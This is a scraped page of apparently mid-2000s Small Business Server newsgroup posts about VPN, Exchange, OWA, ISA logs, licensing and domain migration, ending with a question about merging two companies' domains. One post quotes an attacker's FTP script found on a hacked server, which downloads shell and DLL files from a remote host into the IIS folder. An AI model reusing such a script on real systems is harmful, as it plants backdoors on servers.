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    - SB Server-Terminal Services Can you tell me how secured it's the connection this way. or what are the risks? thank you. Tag: remove and convert DC to SBS 2000 Tag: 167627
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    - Laptop User Account Offline Domain Expires A user cannot login to his laptop, using his standard domain based network user account when he is disconnected from our SBS2k network. He can login if he has only been disconnected for a few minutes, but if he tries to login say 2 hours after pulling the plug, it won't work with a message "The domain is unavailable". Looking in the Control Panel's User accounts, when the laptop has been offline, none of the network based accounts are listed, but when the lapptop is connected, the user accounts, domain based, that have been specificaly assigned to the laptop (including this users) are shown. The user is aPower User in the SBS2k Network. Users always used to be able to log in when offline. Has upgrading the laptop Win XP Pro from SP1 to SP2 changed something? Is there something on the server that has changed with Microsoft's recent patches? Thanks for any suggestions. Rob Tag: remove and convert DC to SBS 2000 Tag: 167625
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    - email spoof Is there a way to prevent email spoofing. My user complaint about people are calling them and asking why she send certain message. She confirmed with me that she never sent those message. I think this is a case of email spoofing right? I confirmed that her machine does not have virus. I spoke with Trendmicro and Symantec and they their is no way to avoid email spoofing? Are they correct? Is there any thing I can do? thanks Tag: remove and convert DC to SBS 2000 Tag: 167604
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    - One of my W2K servers hacked? I inherited servers : W2K, W2003, no, no SBS in this network. Can i still ask the question here? I was browsing one W2K server and i found a hidden folder in C: Drive called "x", with a file in it called "x.txt" Opening this file shows: open x.x.x.x 33333 USER hack hack GET shellhost32.exe c:\winnt\system32\inetsrv\data\shellhost32.exe GET shelllib.dll c:\winnt\system32\inetsrv\data\shelllib.dll GET filter.ini c:\winnt\system32\inetsrv\data\filter.ini GET filter.dll c:\winnt\system32\inetsrv\data\filter.dll GET JAsfv.dll c:\winnt\system32\inetsrv\data\JAsfv.dll GET JAsfv.ini c:\winnt\system32\inetsrv\data\JAsfv.ini bye Can someone please explain what the above does and how can i verify if this hacker has left backdoors, trojan horses etc...? Running Windows Update on this server shows me 38 or 39 Critical Updates. Is there good documentation out there that explains running Windows Update is actually a good thing to do rather than bad. A management person is asking me to test each critical update before i apply it on the production server. Also, i am trying to look for real facts on upgrading to W2003 servers and IIS6.0 rather than using W2K and IIS5. Are there any white papers or other documentation that can help me make this case? I would appreciate any help, info, ... Thank you very much Tag: remove and convert DC to SBS 2000 Tag: 167602
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    - Exchange Cleanup We run SBS 2K w/ Exchange server, we host our own mail. We initially installed on drive C: and it is filling up quiclky. We only have the server and five client emails. How can we reduce the size of the Exchange data base? I have set up the accounts to archive all emails over two months. My bad email folder is rather large too? Is there a cleanup utility to purge all email over two months old from the Exchange Data Base? -- Robert J H Tag: remove and convert DC to SBS 2000 Tag: 167596
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    - Migrating SBS 2000 to 2003 Server w/ Exchange 2003 Hello all, I will be migrating a SBS 2000 site to a new Windows 2003 server running Exchange 2003. I haven't really used SBS server before and would just like any warnings/ideas/suggestions that will help the migration process go smooth. I have setup the new 2003 Server w/ Exchange 2003 in a new domain and will need to migrate user data from the SBS to the new server. I will then wipe the SBS and install 2003 Server on it to perform as another DC in the new domain. Thanks in advance for any suggestions, Joe Tag: remove and convert DC to SBS 2000 Tag: 167590
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    - Active Directory Adding Object Slow When adding an object to Small Business Server 2000, and then also setting the attributes after the addition of the new object, the Directory becomes very slow. When moving through tabs, it will take about 10 seconds before fully loading the data within the tab. Can someone please help out? Thanks. Tag: remove and convert DC to SBS 2000 Tag: 167587
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    - ISA TMP files I have a lot of space being consumed by *.tmp files in the directory "C:\Program Files\Microsoft ISA Server\ISASummaries" I disabled ISA reporting but the log files (presumably) still remain. How should I get rid of them? Is it safe to just manually delete them? Thanks Paul Tag: remove and convert DC to SBS 2000 Tag: 167578
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    - SBS2000 and Wireless Users Situation is as follows: SBS2000 dual NIC all applications active and running All desktops are OK and can be easily configured and added to the AD Domain via client install diskette. I have (1) WAP on the local network. WEP and MAC Authentication active question...should WAP be configured as DHCP server for a dedicated range of IP's that are excluded from the SBS2000 server DHCP? or will the SBS2000 DHCP server provide IP's to the wireless users? I now have to add the laptop users to the SBS2000 Domain. What steps need to be followed? Please either point me to an information source or be specific. Thanks in advance RickD Tag: remove and convert DC to SBS 2000 Tag: 167577
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    - SBS 2003 licensing Hello I administer a care facility that is using NT server with 10 NT workstations. Because of the different shiffs there are never more than 5 connections to the server. We just purchased SBS2003 premium, w/ 5 cals. Just looking at the new installation of SBS2k3 I am guessing that the I need to purchase more CALs, one for every workstation that I add to the domain. Am I right?? Also is a CAL needed for remote access by our software vendor?? Unless I can configure access thru a workstation looks like I will have to buy 5 CALs for the rest of the workstations and 5 CALs just for the remote access. Because of the shiff work the it looks like the computer CAL will work better than user, unless I can do both?? Looks like I need to catchup on new server products. Thanks for any help. Mike Tag: remove and convert DC to SBS 2000 Tag: 167573
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    - SBS 2003 newsgroup I do not see one, all I see is SBS 4.5, SBS 2000,SBS Beta, SBS Backoffice, SBS Beta Backoffice, SBS server setup-Configuration, SBS-ISP,SBS Manager,Business Manager. I am using Enlish, I wanted to let someone know. Thanks Tag: remove and convert DC to SBS 2000 Tag: 167572
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    - OWA woes I am running win2k sbs with exchange 2k. I am trying to allow my users access to OWA over the internet. I have made it work on the intranet, but have been unable so far to get access from outside. We don't host our website, and so have no webserver. Our internet access is set up so that all clients access the sbs server, which then sends the requests to our gateway router/firewall (NAT) that is connected to a local cable company. How can I make this work? Thanks. Tag: remove and convert DC to SBS 2000 Tag: 167570
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    - Can I join a domain over VPN? Hi there, As per subect, can I add workstations into a domain over a VPN session? Clients are XP Pro and server is SBS2000. Rgrds, Jon Tag: remove and convert DC to SBS 2000 Tag: 167559
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    - Sent Items in Outlook Slightly off topic I know but I always get a response in this newsgroup! My boss has a PA and he would like his PA to be able to view his sent items as well as his calender. Now the calender part is easy but the sent items I cannot work out. Any ideas?? It's exchange in sbs 2000 and Outlook 2003. thanks in advance Tag: remove and convert DC to SBS 2000 Tag: 167557
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    - SBS Maze I have not worked with SBS very much, please excuse my ignorance... I currently have a single server SBS 2000 domain. I plan to put in a new server running SBS 2003. I need help on the following: 1. Whats the best way to move the AD accounts, mailboxes etc from one eachange server (ie the SBS 2000 box) to the new exchange (SBS 2003). 2. Can I demote the SBS 2000 box to a member server and remove all traces of AD/exchange from it? 3. I run a 2003 terminal server, wil the user profiles (docs and settings) corrupt when I change domains? Many thanks for any assistance. Tag: remove and convert DC to SBS 2000 Tag: 167556
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    - SBS 2000 and Trend Hi Everyone: Believe it or not, a client has finally agreed to replace their SBS 4.5 with SBS 2000. Why SBS 2000 you ask? Because this is the free one that they got after purchasing SBS 4.5 near the end of its marketing cycle. And why now? Because they have finally been overwhelmed with SPAM. The owner and his grown son seem to enjoy attracting the stuff, mainly by visiting web sites that we all agree are not the kind Mom would like. My question is whether to use Trend CMS or Trend Neat Suite.on this server? Want to block spam, and am willing to add a third party anti spam program, but if one of the Trend products will do it all that would be fewer complications. And does anyone know if the upgrade program applies to the original Trend for SBS 4.5? http://www.trendmicro.com/en/offers/us/tradeup-smb.htm Thanks for your help. -- Anna Clark Tag: remove and convert DC to SBS 2000 Tag: 167554
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    - XP Pro client and Shared Modems Client responds to the 'netmodem use' command with the SBS2k Modem pool but the modem does not show up when I attempt to install the modem on the XP Pro client. Rebooting does not help. Any ideas? Tag: remove and convert DC to SBS 2000 Tag: 167538
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    - Windows XP Pro & Shared Modem XP Pro client responds to the 'netmodem use' command with the sbs2k shared modem pool as one would expect. However, I can't install a modem on that port - the port is not in the list. Any idea how I can get it in the list? Tried rebooting - no help Tag: remove and convert DC to SBS 2000 Tag: 167537
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    - Application server shuts down I am trying to figure out who might be doing this. I do not see any worker bees in the administrator group. The worker bees do not see the actual shutdown option according to one of the staff. Event log has an entry for event logging shutting down so it looks to be a contolled shutdown. I see that I can turn on logging for successful login but I do not see any logoff tracking. Am I missing something? Jim B. SBS Community Member remove the mvp to send email Tag: remove and convert DC to SBS 2000 Tag: 167533
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    - Can't join domain through VPN I'm trying to setup a vpn between a main office and a branch office. Both locations each have a LinkSys BEFVP41v2 and I've successfully established a tunnel between them. The server has two nics and ISA. I can ping the server's wan nic ip from the remote location and I can ping the router's LAN ip and the LAN ip of the workstation at the branch office. But I cannot join the domain at the main office. In the router at the main office, I've forwarded port 1723 to the wan nic/ip of the Server (192.168.1.2), but I didn't know where to enable protocol 47. I've run the wizard on the server to enable vpn so I think I have that right. The subnet at the branch office is 192.168.2.x I cannot ping the server's internal nic ip from the workstation (am I suppose to be able to)? Thanks for your ideas. I'll gladly supply any more info, thanks. Tag: remove and convert DC to SBS 2000 Tag: 167526
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    - Not Receiving internet e-mail on our new SBS2003 I have followed the advice of a few online articles and allowed all the wizards to configured this system. My first problem was that they did not configure my plug and play router. I re-configured it with two network cards. Now everything works but I can not receive email. Yes, I have confirmed that our MX record is correct. I don't have POP3, so I am not using that connector. The internet e-mail connector is using the Default SMTP Virtual Server - which I assume opens port 25 - I can not seem to find were to adjust those settings. Any I ideas? our domain is MFGBC.ORG , our MX record is PETER -- Niel A. Bullock MCSE 1105 Edgar Avenue Mattoon, IL 61938 Phone: (217) 235 2485 Cell: (217) 317 9479 nbullock@consolidated.net Tag: remove and convert DC to SBS 2000 Tag: 167520
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    - shared folders vs mapped drives Hi all, what are the pros and cons of simply using shared folders, versus mapped drives for users in an SBS 2K3 network? TIA! Tag: remove and convert DC to SBS 2000 Tag: 167514
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    - shares folders or mapped drives What are the pros and cons of just using shared folders vs. mapping shares as drives, for users to access files/folders in setting up SBS 2K3? ~ Dodge Tag: remove and convert DC to SBS 2000 Tag: 167512
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    - ISA Logs and Space Problem The SBS2000 server is slowly running out of free space on the C: drive with more space disappearing each night. Investigation has shown the space is being consumed by log files being created in the directory "C:\Program Files\Microsoft ISA Server\ISASummaries" presumably for use is ISA reporting which is not used. Internet activity is never likely to be scrutinised. Can someone please give me instructions on how to: 1. Safely delete these log files 2. Prevent these temp files from being created Any help is much appreciated Paul Tag: remove and convert DC to SBS 2000 Tag: 167510
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    - ISA log question Hi, all, Our company is using sbs2000 and ISA is installed. Internal IP 192.168.16.2 and external IP 70.68.x.x. Yesterday I checked the ISA log files. Most of the IP I saw are 192.168.16.X and 127.0.0.1 which are normal. But I saw two ip are 70.68.34.x and 70.68.240.x. I don't know they are normal or not becuase I think I should see all internl IP addresses. The actual message I see in the log file is (I use x to replace the last 3 digits): 70.68.34.x anonymous - 2004-11-08 00:15:08 w3proxy SERVER - - - Does this mean our LAN is intruded by a Hecker? What I can do if this this true? I have very little experience with ISA maintenance. Please help. Thanks in advance. Tag: remove and convert DC to SBS 2000 Tag: 167509
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    - Forwarding Exchange email I want to forward a user's email to two other users. When I go into AD - Users - Exchange General - Delivery Options, I only have the option of forwarding mail to a single user. What's the best way to forward mail to multiple people? I'm running SBS 2000. Thanks for the help! Tag: remove and convert DC to SBS 2000 Tag: 167502
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    - Javier's - Exchange AD filtering I read Javiers suggestion on using Exchange AD filtering to get rid of spam (not blocking NDRs) at: http://msmvps.com/javier/archive/2004/10/27/16828.aspx Is this only for SBS2003? I'm running SBS2000 and don't see the setting under filtering. Am I missing something? I only had 3 options to enable, none being the one mentioned in the article. If it doesn't work for Exchange 2000 any other ideas. We get (as probably with everyone else) tons of NDRs daily. Thanks Tag: remove and convert DC to SBS 2000 Tag: 167494
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    - =?iso-8859-1?Q?SBS2003_Installation_-_Exchange_Server_2003_Outgoing_SMTP_?= I am having a problem with a new SBS2003 Installation - Exchange Server 2003 Outgoing SMTP Queue Desacription of Problem: Outgoing SMTP Internet Email is stuck in queue with status of retry - NDR after time out - message "the remote server did not respond to a connection attempt" Incoming SMTP Internet Email received normally Currently using DNS for mail delivery - if reconfigured to forward to external host, the queue clears. DNS name resolution from the command prompt or IE to external domains resolve with no problem A query from the firewall produces the following results- the same is true from a filtered domain subnet external to the firewall to the live IP address at the router. firewall:~# telnet 192.168.16.2 25 Trying 192.168.16.2... Connected to 192.168.16.2. Escape character is '^]'. 220 Domain.com Microsoft ESMTP MAIL Service, Version: 6.0.3790.211 ready at Tue, 9 Nov 2004 19:17:04 -0800 EHLO 250-Domain.com Hello [192.168.16.1] 250-TURN 250-SIZE 250-ETRN 250-PIPELINING 250-DSN 250-ENHANCEDSTATUSCODES 250-8bitmime 250-BINARYMIME 250-CHUNKING 250-VRFY 250-X-EXPS GSSAPI NTLM LOGIN 250-X-EXPS=LOGIN 250-AUTH GSSAPI NTLM LOGIN 250-AUTH=LOGIN 250-X-LINK2STATE 250-XEXCH50 250 OK - the only difference with this installation and the last 12 since 06/2004 is the application of Current Hot Fixes and Exchange 2003 SP1 plus Hot Fixes prior to installation All Installation procedures are documented and followed consistently with no exceptions - no errors during installation documented I am under the gun on this one, since the problem was not discovered until the system went live. I will appreciate any help. I have compared the settings of the other installations with this one and the only differnece I find is not with the configuration, but the version of files. I have looked at Exch 2000 KB with no luck. Tag: remove and convert DC to SBS 2000 Tag: 167493
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    - OWA I can't seem to get OWA working. I had it working internally but after trying to fix the permissions from the outside, I can't get it to work at all. The same goes for OMA and Active Sync. I have 2 other websites on the server that are accessible from the internet. P.S. I'm not using ISA server for the internal PCs. Tag: remove and convert DC to SBS 2000 Tag: 167481
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    - Receive Outlook Mail Hi there, I have a client with SBS2K and Exchange 2K setup and the Outlook Client seems to check itself on opening but then after that it doesn't appear to check the server itself for new mail rather you have to click send and recieve. The desktop pc's use Outlook 2000. Is there a way to change this to auto check (yes Outlook is left open all day). Also when an email is prepared and an email address is inserted that system automatically changes it to a blue colour and changes the font size of the whole email address. How can I stop it from automatically changing things? Also I want to control the APC Smart UPS 1000 from Windows so that it will shutdown safely. The bundled software doesn't seem to do it very well. Which utility should I use that comes with Windows and will it run automatically? Many thanks for all your help, Sam. Tag: remove and convert DC to SBS 2000 Tag: 167479
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    - Group Policy Questions I am trying to setup Group Policy on our SBS 2000 machine. The main reason why we are doing this is to roll out a DSN registry key for an ODBC System DSN. I have opened up AD, right-clicked>Properties and I can see in there a Group Policy tab and in there listed Default Domain Policy. I have added a new GP called "company policy" with no overide ticked. Questions... 1. Now, how do I apply this policy to a user or machine? 2. Can I add a key in there for a registry update on clients? 3. Can I add an ODBC System DSN to be updated on the clients? skc Tag: remove and convert DC to SBS 2000 Tag: 167477
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    - SBS login script to run a VBS file? I want a login script to run a vbs file for DSN rollout: http://www.databasejournal.com/features/mssql/article.php/2238221 How do I do this? Skc Tag: remove and convert DC to SBS 2000 Tag: 167475
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    - NDR is not working! Hi, We are running SBS2000 with Exch2kSP3. We have around 40 mailboxes setup to be <firstname>@domain.com, where we pick up POP3 from our ISP and download mail into our SBS box via GFI MEss. If I send an email to our domain that is not configured as an SMTP in the mailboxes, e.g. elephant@domain.com, then GFI Mess picks it up as processed OK, but where does it go? There is not a mailbox existant for this person called elephant - so where does it go? I was looking at newsgroups and added in the Default SMTP Virtual Server>Properties, Messages tab, Send copy of non-del reports to and put my email address in there (administrator) as my name@domain.local. Is this correct? I need help!!! I sent some test messages to our domain name for non-existant recipients and I am not getting an NDR back in my yahoo webmail account! skc Tag: remove and convert DC to SBS 2000 Tag: 167474
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    - Routing and remote access Hi, I have an SBS 2000 server which for some reason stops talking to the internet as soon as I try to configure routing and remote access to allow remote users to connect via VPN. I have re-run the CEICW and checked the bindings in the advanced option for the network settings. I have two NICS and ISA installed and then also a firewall/router running on the WAN connection. I have run through Microsofts articles on making sure that SBS is configured correctly for 2 NIC's. For some reason the clients are also having some trouble (with or without the Routing and Remote access configured) with data speed accross the network being very slow. (if I copy the data locally and try to open it is very quick, from the server, veerrryyy sllloowww.??!!?? Sounded like Bindings problem and or DNS/WINS problem to me but cant find any faults there. No errors in event logs...................... Client PC's are Windows XP Pro running SP2 with all the latest updates on server and clients. Any help with the network speed and RRAS would be greatly appreciated TIA Terry Tag: remove and convert DC to SBS 2000 Tag: 167473
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    - TS access only 2 users? Hi One of my customer is using VPN remote access, it works pretty well. An additional remote user needs to access the server & use TS to run an application. The application software writer has set up a new remote user, but by using active directoty, not the SBS user wizard. (Despite my instructions to always use the wizards). It seems that after about a week, this user is losing their TS desktop settings & it has to be set up again. Is this normal? Also it appears that TS will only handle 2 users at once. Is this correct? Regards Nick Tag: remove and convert DC to SBS 2000 Tag: 167472
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    - Email I sent an email to a non-existant email account and I have not had an undeliverable. How do I check where this email is - as it has come into us somewhere? We are running SBS2000 with Exch2000 SP3. We collect emails via POP3 using GFI MailEssentials. Thanks skc Tag: remove and convert DC to SBS 2000 Tag: 167471
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    - Copy and fwd outgoing emails within exchange I need to be able to configure exchange to have emails FROM User 1 to be copied and fwd to User 2 or User 3 other than using Outlook rules, as the destination user often changes, and the outlook client's laptop is often not available. Tag: remove and convert DC to SBS 2000 Tag: 167469
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    - SQL & Exchange Take it to the ring Hello all, one of my clients has recently been provided with a new version of the Financial Planning software, which uses SQL server rather than the server-side data files. Previously we have never had any issues with memory, but we are finding that the system is becoming slower & slower, and is starting to drop connections to other third party applications, which utilise fox-pro databases. The current config is: Dell Poweredge 2500 P3 800 x 1 1024Mb Ram (4x256) 3 x 32 Gb SCSI Raid 5 My question is to find out what the most effective solution may be from the following: 1. Somehow limit the memory allocation of the SQL database. 2. Throw another 1024 (2 x 512) Memory into the box 3. Change over the CPU to a faster 1.4Ghz (What issues can I expect with this option) Thanks in advance. Tag: remove and convert DC to SBS 2000 Tag: 167465
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    - Vpn connection outbound from workstation Hello all. setup sbs 2000 all patched up except for the new Isa patch. Workstation admin rights win2k. Laptop winxp I want to connect to another office that has enabled vpn. I tried the connection from home and it works. In the office isa server, and netgear router. Inbound port open is https only. I can't establish an outbound vpn connection it gives an error instantly. Since I'm connecting to someone else I don't have to open any ports????? Need some help here.. Thank you -- end Tag: remove and convert DC to SBS 2000 Tag: 167464
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    - 2003 Terminal Server Hi there, Anyone have any how-to's or good links relating to integrating a Windows 2003 server in Terminal Services mode in an existing SBS2000 network. The existing Windows 2000 member server in a client's SBS 2000 network has been replaced with a Windows 2K3 Terminal server and things just aren't working as well as they used to with the old TS2000 server. thanks TR Tag: remove and convert DC to SBS 2000 Tag: 167461
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    - domain controller problem Workstations cannot log on to SBS 2K server. dcdiag produces ERROR: Starting test: NetLogons [AMNSRV1] An net use or LsaPolicy operation failed with error 67, The n etwork name cannot be found.. ......................... AMNSRV1 failed test NetLogons Starting test: MachineAccount Could not open pipe with [AMNSRV1]:failed with 67: The network name can not be found. Could not get NetBIOSDomainName Failed can not test for HOST SPN Failed can not test for HOST SPN * Missing SPN :(null) * Missing SPN :(null) ......................... AMNSRV1 failed test MachineAccount Starting test: Services Could not open Remote ipc to [AMNSRV1]:failed with 67: The network name cannot be found. ......................... AMNSRV1 failed test Services Tag: remove and convert DC to SBS 2000 Tag: 167453
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    - 2 questions for SBS 2003 Is there any harm having a 2003 server and running it as a 2nd DC? I have SBS premium, but it has ISA 2000 and I want to use ISA 2004. Are there any known issues using ISA 2004 on another box? Thanks Tag: remove and convert DC to SBS 2000 Tag: 167450
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    - VPN setup on SBS2003 Can some one advise on how to setup VPN on our SBS2003. Objective: Home users should be able to access the folders on the SBS2003 located in the office. The home users are equipped with XP Laptops and an ISP connection via Cable or DSL services providers. SBS2003: This server's NIC is assigned 192.168.x.y and this server is also connected to DSL router provided by "Speakeasy". They have given us a static IP 68.236.c.d The question is what are the steps I should take to acheive the above objective. I have gone through www.smallbizserver.net but not much of help. It says,I should use ISA Management snap in to enable the VPN. I did not find such snap-in on my SBS2003. Any help is appreciated. Tag: remove and convert DC to SBS 2000 Tag: 167440
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    - KYSBSUG November Meeting (11/17/2004) You are cordially invited to attend the November meeting of the Kentucky Small Business Server User Group (KYSBSUG)! http://www.kysbsug.org Click here to register to attend here (FREE!): http://www.clicktoattend.com/invitation.aspx?code=100821 Date: Wednesday November 17, 2004 Time: 6:00 pm - 8:00 pm Eastern (GMT -5) Cost: Admission, parking, and refreshments are FREE! Location: University of Louisville - Shelby Campus Building: Information Technology Resource Center (iTRC) Room: Large conference room Address: 9001 Shelbyville Road City/State/Zip: Louisville, KY 40222 Contact: Tim Barrett timbarrett@rehabdesigns.com Agenda: 6:00 - 6:30 - Networking 6:30 - 7:00 - Meeting starts - SBS News Events, Orientation for new members RSS presentation 7:00 - 7:45 - Featured speaker: Brad Billison (Microsoft Partner Technology Specialist) - Windows Roadmap 7:45 - 8:00 - Wrap-up give-aways We have plenty of room, so be sure to invite anyone interested in Microsoft Small Business Server! IMPORTANT - This is a secure building, so please try to arrive no later than 6:30 PM E.D.T. to be sure you can get in the building. E-mail Tim Barrett at timbarrett@rehabdesigns.com or call (502) 266-9061 x105 with any questions. Campus Map: http://www.theitrc.com/html/shelby_campus.html Expedia Map: http://tinyurl.com/2meg5 Directions to the U of L Shelby Campus - iTRC: (The Shelby Campus is in the EAST end of Louisville, one block West of Hurstbourne Lane) From the Airport: Take I-264 East (Watterson Expressway) out of the airport for approximately 6 miles. Once you pass the I-64 interchange, look for US 60 (Shelbyville Road) which is the St. Matthews/Middletown exit. Go East towards Middletown for approximately 1 mile through a commercial, and then residential, area. Shelby Campus will be on your left. From I-64: I-64 West into Louisville to the Jeffersontown/Middletown exit #15 which is Hurstbourne Lane (State Road 1727). At the end of the ramp, turn right towards Middletown. Stay on Hurstbourne to US 60 (Shelbyville Road) which is approximately 1 mile. Turn left onto US 60. Shelby Campus is on your right just past the first red light. From I-65: I-65 North into Louisville to I-264 East (Watterson Expressway). Go approximately 6 miles to US 60 (Shelbyville Road) at the St. Matthews/Middletown exit (which is just past the I-64 interchange). Go East towards Middletown for approximately 1 mile through a commercial, and then residential, area. Shelby Campus will be on your left. From I-71: I-71 South into Louisville to I-264 West (Watterson Expressway). Go approximately 2 miles to the US 60 (Shelbyville Road) at the St. Matthews/Middletown exit. Go East towards Middletown for approximately 1 mile through a commercial, and then residential, area. Shelby Campus will be on your left. -Tim Barrett Kentucky Small Business Server User Group (KYSBSUG) http://www.kysbsug.org Operations Manager Rehab Designs, Inc. Website: http://www.rehabdesigns.com E-mail: timbarrett@rehabdesigns.com Office: (502) 266-9061 x105 Fax: (502) 266-6251 Cell: (502) 817-3456 Protect your PC http://www.microsoft.com/protect Tag: remove and convert DC to SBS 2000 Tag: 167437
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    - SBS machine slowing down.... I have noticed our Windows 2000 Small Business Server slowing down over time. Today I took a look at the task manager and noticed that out of 1GB RAM, it was running with only 28mb RAM remaining.... When I dug into the issue a bit more I noticed a process called STORE.EXE sitting at 734mb RAM. Why is this process taking up so much RAM? I have been planning on adding RAM to this machine and I guess I need to do it soon. I will also reboot to see if some can be reclaimed. I just want to know why this gets so large, and what I can do to minimize it? Thanks, Brad Tag: remove and convert DC to SBS 2000 Tag: 167431
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    - can not locate domain I have a customer trying to connect some workstations in a sbs2k environment. We receive a cannot find domain error. domain name is correctly typed. domain admin account used to try to create an account. IP protocol seems to be working fine. Can ping, server and other computers. What to try next? What protocol, etc is used to establish this connection? Can it be corrupted kinda like winsock does so often on xp? Tag: remove and convert DC to SBS 2000 Tag: 167429
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    - Exchange 2000 in SBS 2000 Dear all, Just wondered if anyone could help me... I want to remove all Exchange features from SBS 2000 without causing any damage to the operating system, how do i go about this? Regards, Alex Saager Tag: remove and convert DC to SBS 2000 Tag: 167425
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    - SBS 2k How do i remove all exchange features from SBS 2k without causing any damage to the operating system? Regards, Alex Saager Tag: remove and convert DC to SBS 2000 Tag: 167424
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    - Applied Security Patches, Now No Remote Desktop Hello, Last night I applied the following patches: Microsoft Security Bulletin MS04-037 Vulnerability in Windows Shell Could Allow Remote Code Execution (841356) Microsoft Security Bulletin MS04-036 Vulnerability in NNTP Could Allow Remote Code Execution (883935) Microsoft Security Bulletin MS04-032 Security Update for Microsoft Windows (840987) Microsoft Security Bulletin MS04-031 Vulnerability in NetDDE Could Allow Remote Code Execution (841533) Microsoft Security Bulletin MS04-030 Vulnerability in WebDAV XML Message Handler Could Lead to a Denial of Service (824151) This morning I am unable to make a Remote Desktop Connection. From home, I am able to connect to VPN, but no Remote Desktop. At the office, on the LAN, no Remote Desktop either. The error message is: Remote Desktop Disconnected: The Client could not connect to the remote computer. REmote connections might not be enabled or the computer might be too busy to accept new connections. It is also possible that network problems are preventing your connection. Please try connecting again later. If the problem continues to occur, contact your administrator. At the server, Terminal Services service is running. What else can I check? Many thanks!! Matthew Tag: remove and convert DC to SBS 2000 Tag: 167423
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    - WAPS and SBS I do more and more troubleshooting remotely from coffee shops. What's the risk of using terminal services or remote desktop management from wireless networks at coffe shops. Not worried too much about my laptop on the WAP, I'm worried more about logging into the SBS servers and the password and logon name getting sniffed out. Tag: remove and convert DC to SBS 2000 Tag: 167421

I am looking to consolidate 2 company, one has beefy SBS 2000 and other has
not so beefy standard Windows 2003 server. I am looking to create all new
user profile on SBS 2000 with WIN2003 users, host email for that domain also.
I will demote WIndows 2003 DC to Member Server of SBS2000. I think I got all
my bases cover on the server, except hosting 2 domain mail for 2 company. Any
info would be appreciated.
ALso what is the best way to preserve all local user setting when poiting to
new Domain (SBS 2000). In the past I have used File and Setting Tranfer
Wizard but I hate it. It does not work well for me. thanks in advance

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